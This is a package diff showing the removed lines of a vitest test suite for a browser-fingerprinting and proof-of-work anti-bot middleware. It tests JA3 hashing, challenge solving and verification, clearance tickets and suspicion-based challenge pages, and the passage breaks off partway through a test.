@anonympins/fingerprint 0.4.2 → 0.4.3

package/src/js/tests/fingerprint.test.js

@@ -1,2319 +1,2351 @@
-import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
-import {createHash, createHmac} from 'node:crypto';
-import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
-import {readFileSync} from 'node:fs';
-import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
-import * as dns from 'node:dns/promises';
-import * as fingerprint from '../fingerprint.js';
-
-// Mock import.meta.env before importing the module that uses it
-vi.mock('import-meta-env', () => ({
-    env: { NODE_ENV: 'test', POW_SECRET: 'fallback-dev-secret-32-chars-minimum' },
-}));
-// Mock readFileSync for custom challenge page tests
-vi.mock('node:fs', async () => {
-    const actualFs = await vi.importActual('node:fs');
-    return { ...actualFs, readFileSync: vi.fn() };
-});
-
-const {
-    FingerprintEngine,
-    isTicketValid,
-    identifyRequest,
-    powMiddleware,
-    __internal,
-    configureStore,
-    getClientHintsInconsistencyScore,
-    verifyCpuTargetPoWAndGenerateTicket,
-    verifyMemoryPoW,
-    verifyTspChallenge,
-    startThresholdAutoTuning,
-    default_whitelist,
-    stopThresholdAutoTuning,
-    getCompositeDeviceHash,
-} = fingerprint;
-const { store, getRequestPatternScore, getDeviceHash } = __internal;
-let { getBehaviorScore, getClickVarianceScore } = __internal;
-// Mock the entire dns module
-vi.mock('node:dns/promises');
-
-describe('Fingerprint & PoW Security Suite', () => {
-    test('cyrb53 should be deterministic', () => {
-        const input = "test-string";
-        expect(cyrb53(input)).toBe(cyrb53(input));
-        expect(cyrb53("a")).not.toBe(cyrb53("b"));
-    });
-
-    describe('FingerprintBuilder', () => {
-        test('should handle null and undefined values gracefully', () => {
-            const builder = new FingerprintBuilder();
-            builder.add('key1', 'value1');
-            builder.add('key2', null);
-            builder.add('key3', undefined);
-            expect(builder.toString()).toBe('key1:6263243896157005');
-        });
-
-        test('comparison logic should handle various cases', () => {
-            const fp1 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
-            const fp2 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
-            const fp3 = new FingerprintBuilder().add('hw', '4_8').add('gpu', 'amd').toString();
-            const fp4 = new FingerprintBuilder().add('hw', '8_16').add('os', 'win32').toString(); // Partial match
-
-            expect(FingerprintBuilder.compare(fp1, fp2), "Identical FPs should return 1").toBe(1);
-            expect(FingerprintBuilder.compare(fp1, fp3), "Different FPs should have low similarity score").toBeLessThan(0.5);
-            expect(FingerprintBuilder.compare(fp1, fp4), "Partial match should return a score between 0 and 1").toBeGreaterThan(0);
-            expect(FingerprintBuilder.compare(fp1, fp4)).toBeLessThan(1);
-            expect(FingerprintBuilder.compare(fp1, ''), "Comparison with empty string should be 0").toBe(0);
-            expect(FingerprintBuilder.compare(null, fp2), "Comparison with null should be 0").toBe(0);
-        });
-    });
-
-    describe('JA3 Fingerprinting', () => {
-
-        const mockClientHello = {
-            version: 'TLSv1.3',
-            ciphers: [4865, 4866],
-            extensions: [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21],
-            ellipticCurves: [29, 23, 24],
-            ellipticCurvePointFormats: [0],
-        };
-
-        afterEach(() => {
-            // Restore any spies after each test in this block
-            vi.restoreAllMocks();
-        });
-
-        test('should prioritize JA3 hash from x-ja3-hash header', async () => {
-            const context = {
-                headers: { 'x-ja3-hash': 'header-provided-ja3-hash' },
-                rawReq: { socket: { clientHello: mockClientHello } } // Even if socket data exists
-            };
-            // We test getTlsFingerprint directly to isolate the logic.
-            const { ja3 } = fingerprint.__internal.getTlsFingerprint(context);
-            expect(ja3).toBe('header-provided-ja3-hash');
-        });
-
-        test('should calculate JA3 hash from clientHello if header is missing', () => {
-            const context = {
-                headers: {},
-                rawReq: { socket: { clientHello: mockClientHello } }
-            };
-            const { ja3 } = fingerprint.__internal.getTlsFingerprint(context); // Directly call the function
-            // We need to calculate the expected JA3 hash to verify it.
-            const expectedJa3String = '772,4865-4866,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0';
-            const expectedJa3Md5 = createHash('md5').update(expectedJa3String).digest('hex');
-            const expectedComponentHash = cyrb53(expectedJa3Md5);
-
-            const deviceHash = getCompositeDeviceHash(context); // Now call getCompositeDeviceHash after getTlsFingerprint
-            expect(deviceHash).toContain(`ja3:${expectedComponentHash}`);
-            expect(ja3).toBe(expectedJa3Md5);
-        });
-
-        test('should not include JA3 hash if no data is available', () => {
-            // Ensure getTlsFingerprint returns nulls for this specific test
-            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
-
-            const context = {
-                headers: {},
-                rawReq: { socket: {} } // No clientHello
-            };
-            const deviceHash = getCompositeDeviceHash(context);
-            expect(deviceHash).not.toContain('ja3:');
-        });
-
-        test('should handle missing rawReq or socket gracefully', () => {
-            // Ensure getTlsFingerprint returns nulls for this specific test
-            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
-
-            const context1 = { headers: {} }; // No rawReq
-            const context2 = { headers: {}, rawReq: {} }; // No socket
-
-            const deviceHash1 = getCompositeDeviceHash(context1);
-            const deviceHash2 = getCompositeDeviceHash(context2);
-
-            expect(deviceHash1).not.toContain('ja3:');
-            expect(deviceHash2).not.toContain('ja3:');
-        });
-    });
-
-
-
-    describe('CPU Target PoW Workflow', () => {
-        const ip = '127.0.0.1';
-        const nonce = 'test-nonce';
-        const suspicionFactor = 0.1; // Low suspicion for a quick test
-        const clientSecret = 'my-super-secret-client-key';
-
-        test('should solve and verify correctly without a clientSecret (fallback)', async () => {
-            const securityConfig = { cpu: { minDifficultyBits: 2, maxDifficultyBits: 4 } }; // Difficulté plus faible pour le test
-            let solution = 0;
-            const target = __internal.calculateTarget(suspicionFactor, securityConfig);
-            const baseBlock = new TextEncoder().encode(`${nonce}::test-fp-string:`);
-            while (true) {
-                const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
-                const hash = createHash('sha256').update(finalBlock).digest('hex');
-                if (BigInt('0x' + hash) < target) break;
-                solution++;
-            }
-            const challengeContext = { cpuTarget: target.toString(16), baseBlock };
-
-            const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
-            expect(ticket, "Ticket should be generated for a valid solution without secret").toBeTruthy();
-            expect(await isTicketValid(ip, ticket), "Ticket should be valid").toBe(true);
-        });
-
-        test('should solve and verify correctly WITH a clientSecret', async () => {
-            const securityConfig = { cpu: { minDifficultyBits: 4 } };
-            let solution = 0;
-            const target = __internal.calculateTarget(suspicionFactor, securityConfig);
-            // Client-side simulation now includes the secret
-            const solverFingerprint = 'fp-with-secret';
-            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
-
-            while (true) {
-                const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
-                const hash = createHash('sha256').update(finalBlock).digest('hex');
-                if (BigInt('0x' + hash) < target) break;
-                solution++;
-            }
-
-            const challengeContext = { cpuTarget: target.toString(16), baseBlock };
-
-            // Server-side verification includes the secret
-            const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
-            expect(ticket, "Ticket should be generated for a valid solution with secret").toBeTruthy();
-            expect(await isTicketValid(ip, ticket), "Ticket should be valid for the same IP").toBe(true);
-            expect(await isTicketValid('1.1.1.1', ticket), "Ticket should not be valid for a different IP").toBe(false);
-        });
-
-        test('should solve a medium-difficulty challenge within a reasonable time', async () => {
-            const ip = '127.0.0.1';
-            const nonce = 'test-nonce-perf';
-            const suspicionFactor = 0.5; // "Niveau 2"
-            const clientSecret = 'perf-secret';
-            const securityConfig = { cpu: { minDifficultyBits: 18, maxDifficultyBits: 24 } };
-
-            // Calcule la cible comme le ferait le serveur
-            const target = __internal.calculateTarget(suspicionFactor, securityConfig);
-            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}::`);
-
-            // Simule la résolution du challenge
-            let solution = 0;
-            while (true) {
-                const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
-                const hash = createHash('sha256').update(finalBlock).digest('hex');
-                if (BigInt('0x' + hash) < target) break;
-                solution++;
-            }
-
-            expect(solution).toBeGreaterThan(0); // Vérifie que le challenge a bien été résolu
-        }, 40000); // Timeout de 8 secondes pour ce test
-    });
-
-    test('PoW Ticket Expiration', async () => {
-        const ip = '127.0.0.1';
-        // Simulate an expired ticket by manipulating the string (for testing)
-        const expiredTimestamp = Date.now() - 1000;
-        const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiredTimestamp}`).digest("hex");
-        const ticket = `${expiredTimestamp}:${signature}`;
-        expect(await isTicketValid(ip, ticket), "An expired ticket should be rejected").toBe(false);
-    });
-
-    describe('Memory PoW Verification', () => {
-        const nonce = 'test-nonce-mem';
-        const difficulty = 1; // 1MB for a quick test
-        const clientSecret = 'my-mem-secret';
-
-        const solveMemPoW = (seed, diff) => {
-            const size = diff * 1024 * 1024;
-            const buffer = new Uint32Array(size / 4);
-            let h = new TextEncoder().encode(seed).reduce((acc, v) => acc + v, 0);
-            for (let i = 0; i < buffer.length; i++) {
-                buffer[i] = (h = Math.imul(h ^ i, 1597334677));
-            }
-            let clientSolution = 0;
-            const iterations = size / 16;
-            // Align the test solver with the actual implementation in fingerprint.js
-            // This uses a data-dependent memory access pattern, which is more secure.
-            let addr = buffer.length > 0 ? buffer[0] % buffer.length : 0;
-            for (let i = 0; i < iterations; i++) {
-                addr = buffer[addr] % buffer.length;
-                clientSolution ^= addr;
-            }
-            return clientSolution;
-        };
-
-        test('should verify correctly without a clientSecret', () => {
-            const clientSolution = solveMemPoW(`:${nonce}:`, difficulty);
-            expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, undefined), "Valid memory PoW solution should be accepted").toBe(true);
-            expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, undefined), "Invalid memory PoW solution should be rejected").toBe(false);
-        });
-
-        test('should verify correctly WITH a clientSecret', () => {
-            const seed = `:${nonce}:${clientSecret}`;
-            const clientSolution = solveMemPoW(seed, difficulty);
-
-            // Server-side verification
-            expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, clientSecret), "Valid memory PoW with secret should be accepted").toBe(true);
-            expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, clientSecret), "Invalid memory PoW with secret should be rejected").toBe(false);
-            expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, 'wrong-secret'), "Memory PoW with wrong secret should be rejected").toBe(false);
-        });
-    });
-
-    test('TSP Challenge Verification', () => {
-        const nonce = 'test-nonce-tsp';
-        const cities = [{x: 10, y: 10}, {x: 90, y: 90}, {x: 10, y: 90}, {x: 90, y: 10}];
-        const numCities = cities.length;
-        const targetMaxDistance = 350; // A reasonable target for this square
-
-        // A valid, optimal path for this square is [0, 2, 1, 3] or similar
-        const validSolution = JSON.stringify([0, 2, 1, 3]);
-        // An invalid path (not a permutation)
-        const invalidPermutation = JSON.stringify([0, 1, 1, 2]);
-        // A valid path, but likely too long
-        const suboptimalSolution = JSON.stringify([0, 1, 2, 3]);
-
-        expect(verifyTspChallenge(nonce, validSolution, numCities, targetMaxDistance, cities), "A valid TSP solution should be accepted").toBe(true);
-        expect(verifyTspChallenge(nonce, invalidPermutation, numCities, targetMaxDistance, cities), "A TSP solution that is not a permutation should be rejected").toBe(false);
-
-        // This test assumes the simple path is longer than the target.
-        const isSuboptimalRejected = !verifyTspChallenge(nonce, suboptimalSolution, numCities, targetMaxDistance, cities);
-        if (isSuboptimalRejected) {
-            expect(true, "A suboptimal TSP solution (too long) should be rejected").toBe(true);
-        }
-    });
-
-    describe('identifyRequest (for Rate Limiting)', () => {
-        const inMemoryStore = {
-            _map: new Map(),
-            get: async (key) => inMemoryStore._map.get(key),
-            set: async (key, value) => inMemoryStore._map.set(key, value),
-            has: async (key) => inMemoryStore._map.has(key),
-            delete: async (key) => inMemoryStore._map.delete(key),
-        };
-        const securityConfig = {
-            weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 0.4, inconsistencyScore: 0.8 },
-            thresholds: { low: 20, medium: 35, high: 75 }
-        };
-        let engine;
-
-        beforeEach(() => {
-            inMemoryStore._map.clear();
-            configureStore(inMemoryStore);
-            vi.restoreAllMocks(); // Restore mocks before each test
-            // Add a default mock for getTlsFingerprint to stabilize these tests
-            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
-                ja3: 'mock-ja3', ja4: 'mock-ja4'
-            });
-            engine = new FingerprintEngine(securityConfig);
-        });
-
-        test('should return a device-specific key for a normal request', async () => {
-            const requestContext = {
-                clientIp: '127.0.0.1',
-                cookies: {},
-                headers: { // Minimal headers
-                    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
-                    'accept-language': 'en-US,en;q=0.9',
-                    'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
-                },
-                rawHeaders: ['User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Language', 'en-US,en;q=0.9', 'Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
-                httpVersion: '1.1',
-                query: new URLSearchParams() };
-            const key = await engine.identifyRequest(requestContext);
-            expect(key).toMatch(/^device:/);
-        });
-
-        test('should return a suspicion-based key for a highly suspicious request', async () => {
-            // This context simulates a request from a simple script (e.g., curl) with missing headers.
-            const requestContext = {
-                clientIp: '127.0.0.1',
-                cookies: {},
-                headers: {}, // Simulate completely missing headers
-                rawHeaders: [],
-                httpVersion: '1.1',
-                query: new URLSearchParams()
-            };
-            const key = await engine.identifyRequest(requestContext);
-            // Missing accept/accept-language headers should trigger a medium suspicion score.
-            expect(key).toBe('suspicious_medium:127.0.0.1');
-        });
-    });
-
-    test('getDeviceHash should prioritize client-side fingerprint header', async () => {
-        // 1. Spy on the getDeviceHash function from its actual module
-        const getDeviceHashSpy = vi.spyOn(fingerprint, 'getDeviceHash');
-
-        // 2. Simulate a request context with the special header
-        const clientSideFingerprint = 'cvs:12345|gpu:67890|hw:stable';
-        const requestContext = {
-            headers: {
-                'user-agent': 'A regular user agent',
-                'x-device-fingerprint': clientSideFingerprint,
-            },
-            // ... other context properties
-        };
-
-        // 3. Call the function and assert it returns the client-side FP
-        const result = fingerprint.getDeviceHash(requestContext);
-
-        expect(result).toBe(clientSideFingerprint);
-        expect(getDeviceHashSpy).toHaveBeenCalledWith(requestContext);
-    });
-
-    describe('powMiddleware', () => {
-        // Mock store for tests
-        const inMemoryStore = {
-            _map: new Map(),
-            async get(key) { return this._map.get(key); },
-            async set(key, value) { this._map.set(key, value); },
-            async has(key) { return this._map.has(key); },
-            async delete(key) { this._map.delete(key); },
-        };
-        beforeEach(() => {
-            inMemoryStore._map.clear();
-            configureStore(inMemoryStore);
-        });
-
-        // Détecte si on est dans un environnement de CI/CD
-        const isCI = !!process.env.CI;
-
-        // Configuration de base pour les tests
-        let securityConfig = {
-            // Adjust weights to be more realistic and less aggressive for testing.
-            // This prevents minor suspicion scores from being overly amplified and causing immediate blocks.
-            weights: { 
-                historyScore: 0.3, 
-                rotationScore: 0.2, 
-                headerAnomalyScore: 0.1, 
-                inconsistencyScore: 0.2, 
-                requestPatternScore: 0.2,
-                honeypotScore: 1.0, // Garder un poids élevé pour les tests de honeypot
-            },
-            thresholds: { low: 20, medium: 45, high: 75 },
-            // NOUVEAU : Activer explicitement le challenge pour les nouveaux appareils pour ce scénario de test.
-            // C'est cette option qui permet à la logique de s'exécuter.
-            challengeNewDevices: true,
-        };
-        // For this specific test, we need to disable the new device challenge
-        // to ensure a truly non-suspicious request passes without a challenge.
-        const nonSuspiciousConfig = { ...securityConfig, challengeNewDevices: false };
-
-
-        // Si on est en CI, on surcharge la configuration pour abaisser la difficulté
-        if (isCI) {
-            console.log('[CI Mode] Using low-difficulty configuration for tests.');
-            securityConfig = {
-                ...securityConfig,
-                cpu: {
-                    minDifficultyBits: 1, // Difficulté CPU minimale
-                    maxDifficultyBits: 2, // Difficulté CPU maximale très faible
-                }
-            };
-        }
-
-        afterEach(() => {
-            vi.restoreAllMocks();
-        });
-
-        test('should call next() for a non-suspicious request', async () => {
-            // Simuler un appareil connu et non suspect
-            const deviceId = 'known-device-123';
-            await inMemoryStore.set(`device:${deviceId}`, {
-                initialDeviceHash: 'some-hash',
-                ips: new Set(['127.0.0.1']),
-                lastUpdate: Date.now(),
-                lastFpHash: 'some-hash',
-                lastChangeTimestamp: 0,
-                rapidChangeCount: 0,
-            });
-
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-                historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-            });
-
-            const req = { path: '/', ip: '127.0.0.1', cookies: { device_id: deviceId }, query: {}, headers: { 'user-agent': 'test-ua' } };
-            const res = { cookie: vi.fn(), status: vi.fn().mockReturnThis(), send: vi.fn() };
-            const next = vi.fn();
-
-            const middleware = powMiddleware(nonSuspiciousConfig);
-            await middleware(req, res, next);
-
-            expect(next, 'next() should have been called').toHaveBeenCalled();
-            // Pour un appareil connu, le cookie ne doit pas être redéfini
-            expect(res.cookie).not.toHaveBeenCalled();
-        });
-
-        test('should issue a minimal challenge for a new, non-suspicious device', async () => {
-            // 1. Simuler un score de suspicion de 0.
-            // A new device should have a score of at least 1 to trigger the initial challenge.
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-                historyScore: 1, rotationScore: 1, headerAnomalyScore: 1, inconsistencyScore: 0, honeypotScore: 0, requestPatternScore: 0
-            });
-
-            // 2. Simuler une nouvelle requête (pas de cookie device_id)
-            const req = {
-                path: '/', ip: '127.0.0.1', cookies: {}, query: {},
-                headers: { 'user-agent': 'A normal browser' },
-                rawHeaders: ['User-Agent', 'A normal browser'], httpVersion: '1.1'
-            };
-            let sentStatus, sentBody;
-            const res = {
-                status: (s) => { sentStatus = s; return res; },
-                send: (b) => { sentBody = b; },
-                cookie: vi.fn()
-            };
-            const next = vi.fn();
-
-            await powMiddleware(securityConfig)(req, res, next);
-
-            // 3. Vérifier qu'un challenge est bien émis, même avec un score de 0
-            expect(sentStatus).toBe(404);
-            expect(sentBody).toContain('Enhanced Verification');
-            expect(next).not.toHaveBeenCalled();
-        });
-
-        test('should issue a challenge for a suspicious request', async () => {
-            const getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async (requestContext, securityConfig) => {
-                // The securityConfig is passed as the second argument
-                expect(securityConfig).toBeDefined();
-                return {
-                    historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-                };
-            });
-
-            const req = {
-                path: '/',
-                ip: '127.0.0.1',
-                cookies: {},
-                query: {},
-                headers: { 'user-agent': 'test-ua' },
-                rawHeaders: ['User-Agent', 'test-ua'], httpVersion: '1.1' };
-            let sentStatus, sentBody;
-            const res = {
-                status: (s) => { sentStatus = s; return res; },
-                send: (b) => { sentBody = b; },
-                cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
-            };
-            const next = vi.fn(() => { throw new Error('next() should not be called'); });
-
-            req.fingerprint = {};
-            const middleware = powMiddleware(securityConfig);
-            await middleware(req, res, next);
-
-            assert.strictEqual(sentStatus, 404, 'Status should be 404');
-            assert.ok(sentBody.includes('Enhanced Verification'), 'Should send a combined challenge page even for low suspicion');
-            assert.ok(sentBody.includes('Initializing combined verification...'), 'Challenge should always be the combined CPU+Mem type');
-        });
-
-        test('should issue a Memory challenge for a medium-suspicious request', async () => {
-            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
-                return {
-                    historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-                };
-            });
-
-            const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
-            let sentStatus, sentBody;
-            const res = {
-                status: (s) => { sentStatus = s; return res; },
-                send: (b) => { sentBody = b; },
-                cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
-            };
-            const next = vi.fn(() => { throw new Error('next() should not be called'); });
-
-            req.fingerprint = {};
-            await powMiddleware(securityConfig)(req, res, next);
-
-            expect(sentStatus, 'Status should be 404').toBe(404);
-            expect(sentBody, 'Should send a combined challenge page for medium suspicion').toContain('Enhanced Verification');
-            expect(sentBody, 'Challenge should be the combined CPU+Mem type').toContain('Initializing combined verification...');
-        });
-
-        test('should use a custom HTML template for the challenge page if provided', async () => {
-            const customTemplate = `
-            <!DOCTYPE html>
-            <html>
-                <head><title>Custom Verification</title></head>
-                <body>
-                    <h1>Please wait, we are checking your browser.</h1>
-                    <div id="custom-loader">Loading...</div>
-                    <script><!-- FINGERPRINT_SOLVER_SCRIPT --></script>
-                    <script><!-- FINGERPRINT_CHALLENGE_SCRIPT --></script>
-                    <!-- FINGERPRINT_TRAPS -->
-                </body>
-            </html>`;
-
-            // Configure le mock de readFileSync pour retourner notre template
-            readFileSync.mockReturnValue(customTemplate);
-
-            const customSecurityConfig = {
-                ...securityConfig,
-                challengePagePath: './path/to/custom-challenge-page.html',
-            };
-
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({ historyScore: 30 });
-
-            const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' }, rawHeaders: [], httpVersion: '1.1' };
-            let sentStatus, sentBody;
-            const res = { status: (s) => { sentStatus = s; return res; }, send: (b) => { sentBody = b; }, cookie: vi.fn() };
-            const next = vi.fn();
-
-            await powMiddleware(customSecurityConfig)(req, res, next);
-
-            expect(readFileSync).toHaveBeenCalledWith('./path/to/custom-challenge-page.html', 'utf-8');
-            expect(sentStatus).toBe(404);
-            expect(sentBody).toContain('<h1>Please wait, we are checking your browser.</h1>');
-            expect(sentBody).toContain('async function solve()'); // Vérifie que le script du challenge a été injecté
-        });
-
-        test('should issue a high-difficulty combined challenge for a high-suspicion request', async () => {
-            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
-                return {
-                    historyScore: 80, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-                };
-            });
-
-            const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
-            let sentStatus, sentBody;
-            const res = {
-                status: (s) => { sentStatus = s; return res; },
-                send: (b) => { sentBody = b; },
-                cookie: vi.fn()
-            };
-            const next = vi.fn(() => { throw new Error('next() should not be called'); });
-
-            req.fingerprint = {};
-            await powMiddleware(securityConfig)(req, res, next);
-
-            expect(sentStatus, 'Status should be 404').toBe(404);
-            expect(sentBody, 'Should send a combined challenge page for high suspicion').toContain('Enhanced Verification');
-        });
-
-        test('should issue a JSON challenge for an API request', async () => {
-            // 1. Configure the middleware to identify API requests
-            const apiSecurityConfig = {
-                ...securityConfig,
-                thresholds: {
-                    ...securityConfig.thresholds,
-                    // Identifie toute requête acceptant du JSON comme une requête API
-                    isApiRequest: (req) => req.headers.accept?.includes('application/json'),
-                }
-            };
-
-            // 2. Simulate a suspicion score
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-                historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-            });
-            
-            // 3. Simuler une requête API (avec le header 'Accept')
-            const req = {
-                path: '/api/data', ip: '127.0.0.1', cookies: {}, query: {},
-                headers: { 'user-agent': 'test-ua', 'accept': 'application/json' },
-                rawHeaders: ['User-Agent', 'test-ua', 'Accept', 'application/json'], httpVersion: '1.1'
-            };
-            let sentStatus, sentBody;
-            const res = {
-                status: (s) => { sentStatus = s; return res; },
-                json: (b) => { sentBody = b; }, // Utiliser .json() pour les réponses API
-                cookie: vi.fn()
-            };
-            const next = vi.fn();
-            req.fingerprint = {}; // Initialize req.fingerprint
-
-            await powMiddleware(apiSecurityConfig)(req, res, next);
-
-            expect(sentStatus).toBe(404);
-            expect(sentBody.challenge.type).toBe('cpu_mem');
-            expect(sentBody.challenge).toHaveProperty('nonce');
-            expect(sentBody.challenge).toHaveProperty('cpuTarget');
-        });
-
-        test('should call next() for a suspicious request with a valid ticket', async () => {
-            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
-                return {
-                    historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
-                };
-            });
-
-            const ip = '127.0.0.1';
-            const expiry = Date.now() + 3600000;
-            const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
-            const validTicket = `${expiry}:${signature}`;
-
-            const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
-            const res = { cookie: vi.fn() };
-            const next = vi.fn();
-
-            req.fingerprint = {};
-            await powMiddleware(securityConfig)(req, res, next);
-
-            expect(next, 'next() should have been called for a request with a valid ticket').toHaveBeenCalled();
-        });
-
-        test('should redirect after a valid PoW solution is provided', async () => {
-            // --- 1. Setup: Define context and mock a suspicious score ---
-            const ip = '127.0.0.1';
-            const originalPath = '/protected/resource';
-            const solverFingerprint = 'fp-for-valid-solution';
-            const userAgent = 'test-ua-valid';
-
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-                historyScore: 30, // A score high enough to trigger a challenge
-            });
-
-            // Merge CI config correctly. The CI config should take precedence.
-            const securityConfigWithLowDiff = {
-                ...securityConfig, // Base config
-                cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Apply local diff, but let CI config (securityConfig.cpu) overwrite it.
-            };
-            const middleware = powMiddleware(securityConfigWithLowDiff);
-
-            // --- 2. Initial Request: Trigger the challenge ---
-            const req1 = {
-                path: originalPath, ip, cookies: {}, query: {},
-                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
-                rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
-            };
-            let challengeBody;
-            const res1 = {
-                status: () => res1,
-                send: (body) => { challengeBody = body; },
-                cookie: vi.fn()
-            };
-            req1.fingerprint = {}; // Initialize req.fingerprint
-            await middleware(req1, res1, vi.fn());
-
-            expect(challengeBody).toContain('Enhanced Verification');
-
-            // --- 3. Client-Side: Solve the challenge ---
-            const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
-            const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
-            const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
-            const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
-
-            // The client constructs the base block and solves the challenge
-            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
-            const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
-            const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
-
-            // --- 4. Submission Request: Send the valid solution ---
-            const req2 = {
-                path: originalPath, ip, cookies: {},
-                query: {
-                    pow_type: 'cpu_mem',
-                    pow_nonce: nonce,
-                    pow_solution_cpu: String(cpuSolution),
-                    pow_solution_mem: String(memSolution),
-                    pow_fp: solverFingerprint
-                },
-                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
-                rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
-            };
-            let capturedCookie;
-            const res2 = {
-                cookie: (name, value, options) => { capturedCookie = { name, value, options }; },
-                redirect: vi.fn(),
-                status: vi.fn(() => res2),
-                send: vi.fn(),
-            };
-
-            req2.fingerprint = {}; // Initialize req.fingerprint
-            await middleware(req2, res2, vi.fn());
-
-            // --- 5. Assertions ---
-            expect(res2.redirect).toHaveBeenCalledWith(originalPath);
-            expect(capturedCookie).toBeDefined();
-            expect(capturedCookie.name).toBe('pow_clearance');
-        }, 20000);
-
-        it('should issue a short-lived probationary ticket when a moderately suspicious request solves a challenge', async () => {
-            // --- SETUP ---
-            // Ce test simule un flux complet en 2 étapes pour être plus réaliste.
-            // 1. Une première requête suspecte est envoyée, ce qui déclenche l'émission d'un challenge.
-            // 2. Le test résout ce challenge et envoie une seconde requête avec la solution.
-            // 3. On vérifie que la réponse à la seconde requête est une redirection avec un cookie probatoire.
-
-            const ip = '127.0.0.1';
-            const probationaryTtl = 30000; // 30 seconds, as defined in fingerprint.js
-            const solverFingerprint = 'fp-probation';
-            const userAgent = 'test-ua';
-
-            // --- ÉTAPE 1: Provoquer l'émission du challenge en simulant un score modéré ---
-            // We mock getSuspicionVector to ensure the score is in the moderate range (>= low threshold).
-            // This is more reliable than trying to manipulate the store.
-            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-                historyScore: 40, // This score is above the 'low' threshold of 20
-                rotationScore: 0,
-                headerAnomalyScore: 0,
-                inconsistencyScore: 0,
-                requestPatternScore: 0,
-                honeypotScore: 0
-            });
-
-            const initialReq = {
-                path: '/some-data', ip, cookies: {}, query: {},
-                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
-                rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
-            };
-            let challengeBody;
-            const initialRes = {
-                status: () => initialRes,
